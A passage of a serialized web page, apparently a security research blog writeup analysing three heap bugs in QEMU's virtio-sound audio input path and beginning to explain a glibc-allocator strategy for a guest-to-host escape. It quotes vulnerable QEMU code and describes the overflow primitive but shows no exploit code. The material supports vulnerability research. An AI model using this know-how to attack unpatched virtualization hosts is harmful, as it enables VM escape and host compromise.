buffer",{"type":19,"tag":168,"props":122756,"children":122757},{"style":212},[122758],{"type":24,"value":11203},{"type":19,"tag":168,"props":122760,"children":122761},{"style":393},[122762],{"type":24,"value":121747},{"type":19,"tag":168,"props":122764,"children":122765},{"style":212},[122766],{"type":24,"value":915},{"type":19,"tag":168,"props":122768,"children":122769},{"class":170,"line":6655},[122770,122775,122780,122784,122788,122792,122796,122801,122805],{"type":19,"tag":168,"props":122771,"children":122772},{"style":175},[122773],{"type":24,"value":122774}," MIN",{"type":19,"tag":168,"props":122776,"children":122777},{"style":212},[122778],{"type":24,"value":122779},"(available, (",{"type":19,"tag":168,"props":122781,"children":122782},{"style":393},[122783],{"type":24,"value":33736},{"type":19,"tag":168,"props":122785,"children":122786},{"style":212},[122787],{"type":24,"value":11203},{"type":19,"tag":168,"props":122789,"children":122790},{"style":393},[122791],{"type":24,"value":95769},{"type":19,"tag":168,"props":122793,"children":122794},{"style":212},[122795],{"type":24,"value":948},{"type":19,"tag":168,"props":122797,"children":122798},{"style":393},[122799],{"type":24,"value":122800},"period_bytes",{"type":19,"tag":168,"props":122802,"children":122803},{"style":399},[122804],{"type":24,"value":48738},{"type":19,"tag":168,"props":122806,"children":122807},{"style":373},[122808],{"type":24,"value":122809}," // [3]\n",{"type":19,"tag":168,"props":122811,"children":122812},{"class":170,"line":20965},[122813,122818,122822,122826],{"type":19,"tag":168,"props":122814,"children":122815},{"style":393},[122816],{"type":24,"value":122817}," buffer",{"type":19,"tag":168,"props":122819,"children":122820},{"style":212},[122821],{"type":24,"value":11203},{"type":19,"tag":168,"props":122823,"children":122824},{"style":393},[122825],{"type":24,"value":121747},{"type":19,"tag":168,"props":122827,"children":122828},{"style":212},[122829],{"type":24,"value":122830},")));\n",{"type":19,"tag":168,"props":122832,"children":122833},{"class":170,"line":21000},[122834,122838,122842,122846],{"type":19,"tag":168,"props":122835,"children":122836},{"style":419},[122837],{"type":24,"value":101007},{"type":19,"tag":168,"props":122839,"children":122840},{"style":212},[122841],{"type":24,"value":461},{"type":19,"tag":168,"props":122843,"children":122844},{"style":399},[122845],{"type":24,"value":18076},{"type":19,"tag":168,"props":122847,"children":122848},{"style":212},[122849],{"type":24,"value":122850},"size) {\n",{"type":19,"tag":168,"props":122852,"children":122853},{"class":170,"line":21008},[122854,122859,122863,122867],{"type":19,"tag":168,"props":122855,"children":122856},{"style":212},[122857],{"type":24,"value":122858}," available ",{"type":19,"tag":168,"props":122860,"children":122861},{"style":399},[122862],{"type":24,"value":486},{"type":19,"tag":168,"props":122864,"children":122865},{"style":192},[122866],{"type":24,"value":437},{"type":19,"tag":168,"props":122868,"children":122869},{"style":212},[122870],{"type":24,"value":412},{"type":19,"tag":168,"props":122872,"children":122873},{"class":170,"line":21016},[122874,122878],{"type":19,"tag":168,"props":122875,"children":122876},{"style":419},[122877],{"type":24,"value":122672},{"type":19,"tag":168,"props":122879,"children":122880},{"style":212},[122881],{"type":24,"value":412},{"type":19,"tag":168,"props":122883,"children":122884},{"class":170,"line":21025},[122885],{"type":19,"tag":168,"props":122886,"children":122887},{"style":212},[122888],{"type":24,"value":68558},{"type":19,"tag":168,"props":122890,"children":122891},{"class":170,"line":21067},[122892,122896,122900,122904,122908],{"type":19,"tag":168,"props":122893,"children":122894},{"style":393},[122895],{"type":24,"value":122549},{"type":19,"tag":168,"props":122897,"children":122898},{"style":212},[122899],{"type":24,"value":11203},{"type":19,"tag":168,"props":122901,"children":122902},{"style":393},[122903],{"type":24,"value":121747},{"type":19,"tag":168,"props":122905,"children":122906},{"style":399},[122907],{"type":24,"value":12511},{"type":19,"tag":168,"props":122909,"children":122910},{"style":212},[122911],{"type":24,"value":122089},{"type":19,"tag":168,"props":122913,"children":122914},{"class":170,"line":21100},[122915,122920,122924],{"type":19,"tag":168,"props":122916,"children":122917},{"style":212},[122918],{"type":24,"value":122919}," available ",{"type":19,"tag":168,"props":122921,"children":122922},{"style":399},[122923],{"type":24,"value":101472},{"type":19,"tag":168,"props":122925,"children":122926},{"style":212},[122927],{"type":24,"value":122089},{"type":19,"tag":168,"props":122929,"children":122930},{"class":170,"line":21108},[122931],{"type":19,"tag":168,"props":122932,"children":122933},{"style":212},[122934],{"type":24,"value":122935}," [...]\n",{"type":19,"tag":168,"props":122937,"children":122938},{"class":170,"line":21116},[122939],{"type":19,"tag":168,"props":122940,"children":122941},{"style":212},[122942],{"type":24,"value":56369},{"type":19,"tag":168,"props":122944,"children":122945},{"class":170,"line":21125},[122946],{"type":19,"tag":168,"props":122947,"children":122948},{"style":212},[122949],{"type":24,"value":752},{"type":19,"tag":168,"props":122951,"children":122952},{"class":170,"line":21201},[122953],{"type":19,"tag":168,"props":122954,"children":122955},{"style":212},[122956],{"type":24,"value":761},{"type":19,"tag":168,"props":122958,"children":122959},{"class":170,"line":21234},[122960],{"type":19,"tag":168,"props":122961,"children":122962},{"style":212},[122963],{"type":24,"value":1326},{"type":19,"tag":20,"props":122965,"children":122966},{},[122967,122968,122973,122974,122980,122982,122988,122990,122995,122996,123001,123003,123008],{"type":24,"value":121869},{"type":19,"tag":27,"props":122969,"children":122971},{"className":122970},[],[122972],{"type":24,"value":121875},{"type":24,"value":471},{"type":19,"tag":27,"props":122975,"children":122977},{"className":122976},[],[122978],{"type":24,"value":122979},"max_size",{"type":24,"value":122981}," is set to ",{"type":19,"tag":27,"props":122983,"children":122985},{"className":122984},[],[122986],{"type":24,"value":122987},"iov_size(in_sg, in_num)",{"type":24,"value":122989},". Both ",{"type":19,"tag":27,"props":122991,"children":122993},{"className":122992},[],[122994],{"type":24,"value":121600},{"type":24,"value":8436},{"type":19,"tag":27,"props":122997,"children":122999},{"className":122998},[],[123000],{"type":24,"value":121617},{"type":24,"value":123002}," are the same guest-controlled fields from ",{"type":19,"tag":27,"props":123004,"children":123006},{"className":123005},[],[123007],{"type":24,"value":121252},{"type":24,"value":948},{"type":19,"tag":20,"props":123010,"children":123011},{},[123012,123014,123019,123021,123027,123029,123035,123037,123043],{"type":24,"value":123013},"Later, at ",{"type":19,"tag":27,"props":123015,"children":123017},{"className":123016},[],[123018],{"type":24,"value":121910},{"type":24,"value":123020},", the code checks whether ",{"type":19,"tag":27,"props":123022,"children":123024},{"className":123023},[],[123025],{"type":24,"value":123026},"buffer->size >= max_size",{"type":24,"value":123028},". In the RX path, ",{"type":19,"tag":27,"props":123030,"children":123032},{"className":123031},[],[123033],{"type":24,"value":123034},"buffer->size",{"type":24,"value":123036}," tracks how many bytes have been written into ",{"type":19,"tag":27,"props":123038,"children":123040},{"className":123039},[],[123041],{"type":24,"value":123042},"buffer->data",{"type":24,"value":123044},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":19,"tag":20,"props":123046,"children":123047},{},[123048,123050,123055,123057,123063,123065,123070,123072,123078],{"type":24,"value":123049},"However, this does not match the allocation logic in ",{"type":19,"tag":27,"props":123051,"children":123053},{"className":123052},[],[123054],{"type":24,"value":121252},{"type":24,"value":123056},", which used: ",{"type":19,"tag":27,"props":123058,"children":123060},{"className":123059},[],[123061],{"type":24,"value":123062},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":24,"value":123064},". In other words, the allocation subtracts ",{"type":19,"tag":27,"props":123066,"children":123068},{"className":123067},[],[123069],{"type":24,"value":121976},{"type":24,"value":123071},", but the later bound in ",{"type":19,"tag":27,"props":123073,"children":123075},{"className":123074},[],[123076],{"type":24,"value":123077},"virtio_snd_pcm_in_cb",{"type":24,"value":123079}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":19,"tag":20,"props":123081,"children":123082},{},[123083,123085,123090,123092,123098,123100,123106,123108,123113,123115,123121,123123,123129,123131,123136,123138,123143],{"type":24,"value":123084},"Finally, at ",{"type":19,"tag":27,"props":123086,"children":123088},{"className":123087},[],[123089],{"type":24,"value":121934},{"type":24,"value":123091},", the code calls ",{"type":19,"tag":27,"props":123093,"children":123095},{"className":123094},[],[123096],{"type":24,"value":123097},"AUD_read",{"type":24,"value":123099}," with the following limit:\n",{"type":19,"tag":27,"props":123101,"children":123103},{"className":123102},[],[123104],{"type":24,"value":123105},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":24,"value":123107},". Notice how this bound does not take ",{"type":19,"tag":27,"props":123109,"children":123111},{"className":123110},[],[123112],{"type":24,"value":122979},{"type":24,"value":123114}," into account at all. That means if ",{"type":19,"tag":27,"props":123116,"children":123118},{"className":123117},[],[123119],{"type":24,"value":123120},"available",{"type":24,"value":123122}," is larger than the allocated buffer, and ",{"type":19,"tag":27,"props":123124,"children":123126},{"className":123125},[],[123127],{"type":24,"value":123128},"stream->params.period_bytes",{"type":24,"value":123130}," is also larger than the allocated buffer, ",{"type":19,"tag":27,"props":123132,"children":123134},{"className":123133},[],[123135],{"type":24,"value":123097},{"type":24,"value":123137}," will write past the end of ",{"type":19,"tag":27,"props":123139,"children":123141},{"className":123140},[],[123142],{"type":24,"value":123042},{"type":24,"value":123144}," - the third, and final, bug we found.",{"type":19,"tag":20,"props":123146,"children":123147},{},[123148,123150,123155,123157,123163],{"type":24,"value":123149},"Looking further at the code, we can see that ",{"type":19,"tag":27,"props":123151,"children":123153},{"className":123152},[],[123154],{"type":24,"value":123128},{"type":24,"value":123156}," is fully guest-controlled by issuing a ",{"type":19,"tag":27,"props":123158,"children":123160},{"className":123159},[],[123161],{"type":24,"value":123162},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":24,"value":123164}," request:",{"type":19,"tag":158,"props":123166,"children":123168},{"code":123167,"language":543,"meta":7,"className":13963,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[123169],{"type":19,"tag":27,"props":123170,"children":123171},{"__ignoreMap":7},[123172,123180,123209,123226,123246,123253,123270,123277,123284,123291,123313,123320,123327,123334,123380,123423,123467,123475,123512,123548,123584,123591,123608],{"type":19,"tag":168,"props":123173,"children":123174},{"class":170,"line":171},[123175],{"type":19,"tag":168,"props":123176,"children":123177},{"style":382},[123178],{"type":24,"value":123179},"static\n",{"type":19,"tag":168,"props":123181,"children":123182},{"class":170,"line":198},[123183,123187,123192,123197,123201,123205],{"type":19,"tag":168,"props":123184,"children":123185},{"style":382},[123186],{"type":24,"value":55417},{"type":19,"tag":168,"props":123188,"children":123189},{"style":175},[123190],{"type":24,"value":123191}," virtio_snd_set_pcm_params",{"type":19,"tag":168,"props":123193,"children":123194},{"style":212},[123195],{"type":24,"value":123196},"(VirtIOSound ",{"type":19,"tag":168,"props":123198,"children":123199},{"style":399},[123200],{"type":24,"value":2002},{"type":19,"tag":168,"props":123202,"children":123203},{"style":393},[123204],{"type":24,"value":8095},{"type":19,"tag":168,"props":123206,"children":123207},{"style":212},[123208],{"type":24,"value":915},{"type":19,"tag":168,"props":123210,"children":123211},{"class":170,"line":415},[123212,123217,123222],{"type":19,"tag":168,"props":123213,"children":123214},{"style":382},[123215],{"type":24,"value":123216}," uint32_t",{"type":19,"tag":168,"props":123218,"children":123219},{"style":393},[123220],{"type":24,"value":123221}," stream_id",{"type":19,"tag":168,"props":123223,"children":123224},{"style":212},[123225],{"type":24,"value":915},{"type":19,"tag":168,"props":123227,"children":123228},{"class":170,"line":450},[123229,123234,123238,123242],{"type":19,"tag":168,"props":123230,"children":123231},{"style":212},[123232],{"type":24,"value":123233}," virtio_snd_pcm_set_params ",{"type":19,"tag":168,"props":123235,"children":123236},{"style":399},[123237],{"type":24,"value":2002},{"type":19,"tag":168,"props":123239,"children":123240},{"style":393},[123241],{"type":24,"value":95769},{"type":19,"tag":168,"props":123243,"children":123244},{"style":212},[123245],{"type":24,"value":557},{"type":19,"tag":168,"props":123247,"children":123248},{"class":170,"line":560},[123249],{"type":19,"tag":168,"props":123250,"children":123251},{"style":212},[123252],{"type":24,"value":8324},{"type":19,"tag":168,"props":123254,"children":123255},{"class":170,"line":666},[123256,123261,123265],{"type":19,"tag":168,"props":123257,"children":123258},{"style":212},[123259],{"type":24,"value":123260}," virtio_snd_pcm_set_params ",{"type":19,"tag":168,"props":123262,"children":123263},{"style":399},[123264],{"type":24,"value":2002},{"type":19,"tag":168,"props":123266,"children":123267},{"style":212},[123268],{"type":24,"value":123269},"st_params;\n",{"type":19,"tag":168,"props":123271,"children":123272},{"class":170,"line":694},[123273],{"type":19,"tag":168,"props":123274,"children":123275},{"emptyLinePlaceholder":14},[123276],{"type":24,"value":1093},{"type":19,"tag":168,"props":123278,"children":123279},{"class":170,"line":707},[123280],{"type":19,"tag":168,"props":123281,"children":123282},{"style":212},[123283],{"type":24,"value":102288},{"type":19,"tag":168,"props":123285,"children":123286},{"class":170,"line":725},[123287],{"type":19,"tag":168,"props":123288,"children":123289},{"emptyLinePlaceholder":14},[123290],{"type":24,"value":1093},{"type":19,"tag":168,"props":123292,"children":123293},{"class":170,"line":746},[123294,123299,123303,123308],{"type":19,"tag":168,"props":123295,"children":123296},{"style":212},[123297],{"type":24,"value":123298}," st_params ",{"type":19,"tag":168,"props":123300,"children":123301},{"style":399},[123302],{"type":24,"value":486},{"type":19,"tag":168,"props":123304,"children":123305},{"style":175},[123306],{"type":24,"value":123307}," virtio_snd_pcm_get_params",{"type":19,"tag":168,"props":123309,"children":123310},{"style":212},[123311],{"type":24,"value":123312},"(s, stream_id);\n",{"type":19,"tag":168,"props":123314,"children":123315},{"class":170,"line":755},[123316],{"type":19,"tag":168,"props":123317,"children":123318},{"emptyLinePlaceholder":14},[123319],{"type":24,"value":1093},{"type":19,"tag":168,"props":123321,"children":123322},{"class":170,"line":1008},[123323],{"type":19,"tag":168,"props":123324,"children":123325},{"style":212},[123326],{"type":24,"value":102288},{"type":19,"tag":168,"props":123328,"children":123329},{"class":170,"line":1025},[123330],{"type":19,"tag":168,"props":123331,"children":123332},{"emptyLinePlaceholder":14},[123333],{"type":24,"value":1093},{"type":19,"tag":168,"props":123335,"children":123336},{"class":170,"line":1042},[123337,123342,123346,123351,123355,123360,123364,123368,123372,123376],{"type":19,"tag":168,"props":123338,"children":123339},{"style":393},[123340],{"type":24,"value":123341}," st_params",{"type":19,"tag":168,"props":123343,"children":123344},{"style":212},[123345],{"type":24,"value":11203},{"type":19,"tag":168,"props":123347,"children":123348},{"style":393},[123349],{"type":24,"value":123350},"buffer_bytes",{"type":19,"tag":168,"props":123352,"children":123353},{"style":399},[123354],{"type":24,"value":402},{"type":19,"tag":168,"props":123356,"children":123357},{"style":175},[123358],{"type":24,"value":123359}," le32_to_cpu",{"type":19,"tag":168,"props":123361,"children":123362},{"style":212},[123363],{"type":24,"value":500},{"type":19,"tag":168,"props":123365,"children":123366},{"style":393},[123367],{"type":24,"value":95769},{"type":19,"tag":168,"props":123369,"children":123370},{"style":212},[123371],{"type":24,"value":11203},{"type":19,"tag":168,"props":123373,"children":123374},{"style":393},[123375],{"type":24,"value":123350},{"type":19,"tag":168,"props":123377,"children":123378},{"style":212},[123379],{"type":24,"value":1249},{"type":19,"tag":168,"props":123381,"children":123382},{"class":170,"line":1055},[123383,123387,123391,123395,123399,123403,123407,123411,123415,123419],{"type":19,"tag":168,"props":123384,"children":123385},{"style":393},[123386],{"type":24,"value":123341},{"type":19,"tag":168,"props":123388,"children":123389},{"style":212},[123390],{"type":24,"value":11203},{"type":19,"tag":168,"props":123392,"children":123393},{"style":393},[123394],{"type":24,"value":122800},{"type":19,"tag":168,"props":123396,"children":123397},{"style":399},[123398],{"type":24,"value":402},{"type":19,"tag":168,"props":123400,"children":123401},{"style":175},[123402],{"type":24,"value":123359},{"type":19,"tag":168,"props":123404,"children":123405},{"style":212},[123406],{"type":24,"value":500},{"type":19,"tag":168,"props":123408,"children":123409},{"style":393},[123410],{"type":24,"value":95769},{"type":19,"tag":168,"props":123412,"children":123413},{"style":212},[123414],{"type":24,"value":11203},{"type":19,"tag":168,"props":123416,"children":123417},{"style":393},[123418],{"type":24,"value":122800},{"type":19,"tag":168,"props":123420,"children":123421},{"style":212},[123422],{"type":24,"value":1249},{"type":19,"tag":168,"props":123424,"children":123425},{"class":170,"line":1064},[123426,123430,123434,123439,123443,123447,123451,123455,123459,123463],{"type":19,"tag":168,"props":123427,"children":123428},{"style":393},[123429],{"type":24,"value":123341},{"type":19,"tag":168,"props":123431,"children":123432},{"style":212},[123433],{"type":24,"value":11203},{"type":19,"tag":168,"props":123435,"children":123436},{"style":393},[123437],{"type":24,"value":123438},"features",{"type":19,"tag":168,"props":123440,"children":123441},{"style":399},[123442],{"type":24,"value":402},{"type":19,"tag":168,"props":123444,"children":123445},{"style":175},[123446],{"type":24,"value":123359},{"type":19,"tag":168,"props":123448,"children":123449},{"style":212},[123450],{"type":24,"value":500},{"type":19,"tag":168,"props":123452,"children":123453},{"style":393},[123454],{"type":24,"value":95769},{"type":19,"tag":168,"props":123456,"children":123457},{"style":212},[123458],{"type":24,"value":11203},{"type":19,"tag":168,"props":123460,"children":123461},{"style":393},[123462],{"type":24,"value":123438},{"type":19,"tag":168,"props":123464,"children":123465},{"style":212},[123466],{"type":24,"value":1249},{"type":19,"tag":168,"props":123468,"children":123469},{"class":170,"line":1087},[123470],{"type":19,"tag":168,"props":123471,"children":123472},{"style":373},[123473],{"type":24,"value":123474}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":19,"tag":168,"props":123476,"children":123477},{"class":170,"line":1096},[123478,123482,123486,123491,123495,123500,123504,123508],{"type":19,"tag":168,"props":123479,"children":123480},{"style":393},[123481],{"type":24,"value":123341},{"type":19,"tag":168,"props":123483,"children":123484},{"style":212},[123485],{"type":24,"value":11203},{"type":19,"tag":168,"props":123487,"children":123488},{"style":393},[123489],{"type":24,"value":123490},"channels",{"type":19,"tag":168,"props":123492,"children":123493},{"style":399},[123494],{"type":24,"value":402},{"type":19,"tag":168,"props":123496,"children":123497},{"style":393},[123498],{"type":24,"value":123499}," params",{"type":19,"tag":168,"props":123501,"children":123502},{"style":212},[123503],{"type":24,"value":11203},{"type":19,"tag":168,"props":123505,"children":123506},{"style":393},[123507],{"type":24,"value":123490},{"type":19,"tag":168,"props":123509,"children":123510},{"style":212},[123511],{"type":24,"value":412},{"type":19,"tag":168,"props":123513,"children":123514},{"class":170,"line":1105},[123515,123519,123523,123528,123532,123536,123540,123544],{"type":19,"tag":168,"props":123516,"children":123517},{"style":393},[123518],{"type":24,"value":123341},{"type":19,"tag":168,"props":123520,"children":123521},{"style":212},[123522],{"type":24,"value":11203},{"type":19,"tag":168,"props":123524,"children":123525},{"style":393},[123526],{"type":24,"value":123527},"format",{"type":19,"tag":168,"props":123529,"children":123530},{"style":399},[123531],{"type":24,"value":402},{"type":19,"tag":168,"props":123533,"children":123534},{"style":393},[123535],{"type":24,"value":123499},{"type":19,"tag":168,"props":123537,"children":123538},{"style":212},[123539],{"type":24,"value":11203},{"type":19,"tag":168,"props":123541,"children":123542},{"style":393},[123543],{"type":24,"value":123527},{"type":19,"tag":168,"props":123545,"children":123546},{"style":212},[123547],{"type":24,"value":412},{"type":19,"tag":168,"props":123549,"children":123550},{"class":170,"line":1174},[123551,123555,123559,123564,123568,123572,123576,123580],{"type":19,"tag":168,"props":123552,"children":123553},{"style":393},[123554],{"type":24,"value":123341},{"type":19,"tag":168,"props":123556,"children":123557},{"style":212},[123558],{"type":24,"value":11203},{"type":19,"tag":168,"props":123560,"children":123561},{"style":393},[123562],{"type":24,"value":123563},"rate",{"type":19,"tag":168,"props":123565,"children":123566},{"style":399},[123567],{"type":24,"value":402},{"type":19,"tag":168,"props":123569,"children":123570},{"style":393},[123571],{"type":24,"value":123499},{"type":19,"tag":168,"props":123573,"children":123574},{"style":212},[123575],{"type":24,"value":11203},{"type":19,"tag":168,"props":123577,"children":123578},{"style":393},[123579],{"type":24,"value":123563},{"type":19,"tag":168,"props":123581,"children":123582},{"style":212},[123583],{"type":24,"value":412},{"type":19,"tag":168,"props":123585,"children":123586},{"class":170,"line":1182},[123587],{"type":19,"tag":168,"props":123588,"children":123589},{"emptyLinePlaceholder":14},[123590],{"type":24,"value":1093},{"type":19,"tag":168,"props":123592,"children":123593},{"class":170,"line":1212},[123594,123598,123603],{"type":19,"tag":168,"props":123595,"children":123596},{"style":419},[123597],{"type":24,"value":14438},{"type":19,"tag":168,"props":123599,"children":123600},{"style":175},[123601],{"type":24,"value":123602}," cpu_to_le32",{"type":19,"tag":168,"props":123604,"children":123605},{"style":212},[123606],{"type":24,"value":123607},"(VIRTIO_SND_S_OK);\n",{"type":19,"tag":168,"props":123609,"children":123610},{"class":170,"line":1220},[123611],{"type":19,"tag":168,"props":123612,"children":123613},{"style":212},[123614],{"type":24,"value":1326},{"type":19,"tag":20,"props":123616,"children":123617},{},[123618,123620,123625,123627,123633,123635,123640,123642,123647,123649,123655,123656,123661],{"type":24,"value":123619},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":19,"tag":27,"props":123621,"children":123623},{"className":123622},[],[123624],{"type":24,"value":828},{"type":24,"value":123626},") and signed (",{"type":19,"tag":27,"props":123628,"children":123630},{"className":123629},[],[123631],{"type":24,"value":123632},"s8",{"type":24,"value":123634},") samples. They encode the same waveform differently - silence is ",{"type":19,"tag":27,"props":123636,"children":123638},{"className":123637},[],[123639],{"type":24,"value":26910},{"type":24,"value":123641}," in ",{"type":19,"tag":27,"props":123643,"children":123645},{"className":123644},[],[123646],{"type":24,"value":828},{"type":24,"value":123648},", but ",{"type":19,"tag":27,"props":123650,"children":123652},{"className":123651},[],[123653],{"type":24,"value":123654},"0x00",{"type":24,"value":123641},{"type":19,"tag":27,"props":123657,"children":123659},{"className":123658},[],[123660],{"type":24,"value":123632},{"type":24,"value":948},{"type":19,"tag":16245,"props":123663,"children":123664},{},[],{"type":19,"tag":20,"props":123666,"children":123667},{},[123668],{"type":24,"value":123669},"To summarize:",{"type":19,"tag":2869,"props":123671,"children":123672},{},[123673,123692,123710],{"type":19,"tag":47,"props":123674,"children":123675},{},[123676,123678,123683,123685,123690],{"type":24,"value":123677},"an integer underflow in the ",{"type":19,"tag":27,"props":123679,"children":123681},{"className":123680},[],[123682],{"type":24,"value":121747},{"type":24,"value":123684}," calculation in ",{"type":19,"tag":27,"props":123686,"children":123688},{"className":123687},[],[123689],{"type":24,"value":121252},{"type":24,"value":123691},", resulting in an 8-byte (or less) under-allocation",{"type":19,"tag":47,"props":123693,"children":123694},{},[123695,123697,123702,123703,123708],{"type":24,"value":123696},"a mismatch in the ",{"type":19,"tag":27,"props":123698,"children":123700},{"className":123699},[],[123701],{"type":24,"value":122979},{"type":24,"value":123684},{"type":19,"tag":27,"props":123704,"children":123706},{"className":123705},[],[123707],{"type":24,"value":123077},{"type":24,"value":123709},", leading to at most 8-byte OOB write",{"type":19,"tag":47,"props":123711,"children":123712},{},[123713,123715,123720,123722,123727,123729,123734],{"type":24,"value":123714},"a missing bound in the ",{"type":19,"tag":27,"props":123716,"children":123718},{"className":123717},[],[123719],{"type":24,"value":121747},{"type":24,"value":123721}," passed to ",{"type":19,"tag":27,"props":123723,"children":123725},{"className":123724},[],[123726],{"type":24,"value":123097},{"type":24,"value":123728},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":19,"tag":27,"props":123730,"children":123732},{"className":123731},[],[123733],{"type":24,"value":123120},{"type":24,"value":79778},{"type":19,"tag":20,"props":123736,"children":123737},{},[123738,123740,123745,123747,123752,123754,123760],{"type":24,"value":123739},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":19,"tag":27,"props":123741,"children":123743},{"className":123742},[],[123744],{"type":24,"value":123120},{"type":24,"value":123746},", but in our setup with the ALSA backend, ",{"type":19,"tag":27,"props":123748,"children":123750},{"className":123749},[],[123751],{"type":24,"value":123120},{"type":24,"value":123753}," was consistently around ",{"type":19,"tag":27,"props":123755,"children":123757},{"className":123756},[],[123758],{"type":24,"value":123759},"4096",{"type":24,"value":948},{"type":19,"tag":20,"props":123762,"children":123763},{},[123764,123766,123773,123774,123781],{"type":24,"value":123765},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":19,"tag":269,"props":123767,"children":123770},{"href":123768,"rel":123769},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[273],[123771],{"type":24,"value":123772},"commit 1",{"type":24,"value":471},{"type":19,"tag":269,"props":123775,"children":123778},{"href":123776,"rel":123777},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[273],[123779],{"type":24,"value":123780},"commit 2",{"type":24,"value":123782},") in the very same week that we independently found them while manually reviewing the code.",{"type":19,"tag":36,"props":123784,"children":123785},{"id":97595},[123786],{"type":24,"value":97598},{"type":19,"tag":20,"props":123788,"children":123789},{},[123790],{"type":24,"value":123791},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":19,"tag":20,"props":123793,"children":123794},{},[123795],{"type":24,"value":123796},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":19,"tag":7050,"props":123798,"children":123800},{"id":123799},"achieving-a-better-primitive",[123801],{"type":24,"value":123802},"Achieving a Better Primitive",{"type":19,"tag":20,"props":123804,"children":123805},{},[123806],{"type":24,"value":123807},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":19,"tag":20,"props":123809,"children":123810},{},[123811],{"type":24,"value":123812},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":19,"tag":20,"props":123814,"children":123815},{},[123816],{"type":24,"value":123817},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":19,"tag":16345,"props":123819,"children":123821},{"id":123820},"glibc-allocator",[123822],{"type":24,"value":123823},"Glibc Allocator",{"type":19,"tag":20,"props":123825,"children":123826},{},[123827,123829,123836],{"type":24,"value":123828},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":19,"tag":269,"props":123830,"children":123833},{"href":123831,"rel":123832},"https://github.com/shellphish/how2heap",[273],[123834],{"type":24,"value":123835},"how2heap",{"type":24,"value":948},{"type":19,"tag":34821,"props":123838,"children":123840},{"id":123839},"chunk-layout-and-bins",[123841],{"type":24,"value":123842},"Chunk Layout and Bins",{"type":19,"tag":20,"props":123844,"children":123845},{},[123846],{"type":24,"value":123847},"A chunk looks like this:",{"type":19,"tag":158,"props":123849,"children":123851},{"code":123850}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[123852],{"type":19,"tag":27,"props":123853,"children":123854},{"__ignoreMap":7},[123855],{"type":24,"value":123850},{"type":19,"tag":20,"props":123857,"children":123858},{},[123859,123861,123867,123869,123875,123876,123881,123882,123888,123890,123895,123897,123902,123904,123910,123911,123917,123919,123925],{"type":24,"value":123860},"The first 16 bytes form the chunk header. It consists of the ",{"type":19,"tag":27,"props":123862,"children":123864},{"className":123863},[],[123865],{"type":24,"value":123866},"prev_size",{"type":24,"value":123868}," field at offset ",{"type":19,"tag":27,"props":123870,"children":123872},{"className":123871},[],[123873],{"type":24,"value":123874},"0x0",{"type":24,"value":35025},{"type":19,"tag":27,"props":123877,"children":123879},{"className":123878},[],[123880],{"type":24,"value":121747},{"type":24,"value":123868},{"type":19,"tag":27,"props":123883,"children":123885},{"className":123884},[],[123886],{"type":24,"value":123887},"0x8",{"type":24,"value":123889},". As the name suggests, ",{"type":19,"tag":27,"props":123891,"children":123893},{"className":123892},[],[123894],{"type":24,"value":123866},{"type":24,"value":123896}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":19,"tag":27,"props":123898,"children":123900},{"className":123899},[],[123901],{"type":24,"value":121747},{"type":24,"value":123903}," stores the size of the current chunk and three special bits of which ",{"type":19,"tag":27,"props":123905,"children":123907},{"className":123906},[],[123908],{"type":24,"value":123909},"PREV_INUSE",{"type":24,"value":8436},{"type":19,"tag":27,"props":123912,"children":123914},{"className":123913},[],[123915],{"type":24,"value":123916},"IS_MMAPPED",{"type":24,"value":123918}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":19,"tag":27,"props":123920,"children":123922},{"className":123921},[],[123923],{"type":24,"value":123924},"0x10",{"type":24,"value":948},{"type":19,"tag":20,"props":123927,"children":123928},{},[123929],{"type":24,"value":123930},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, 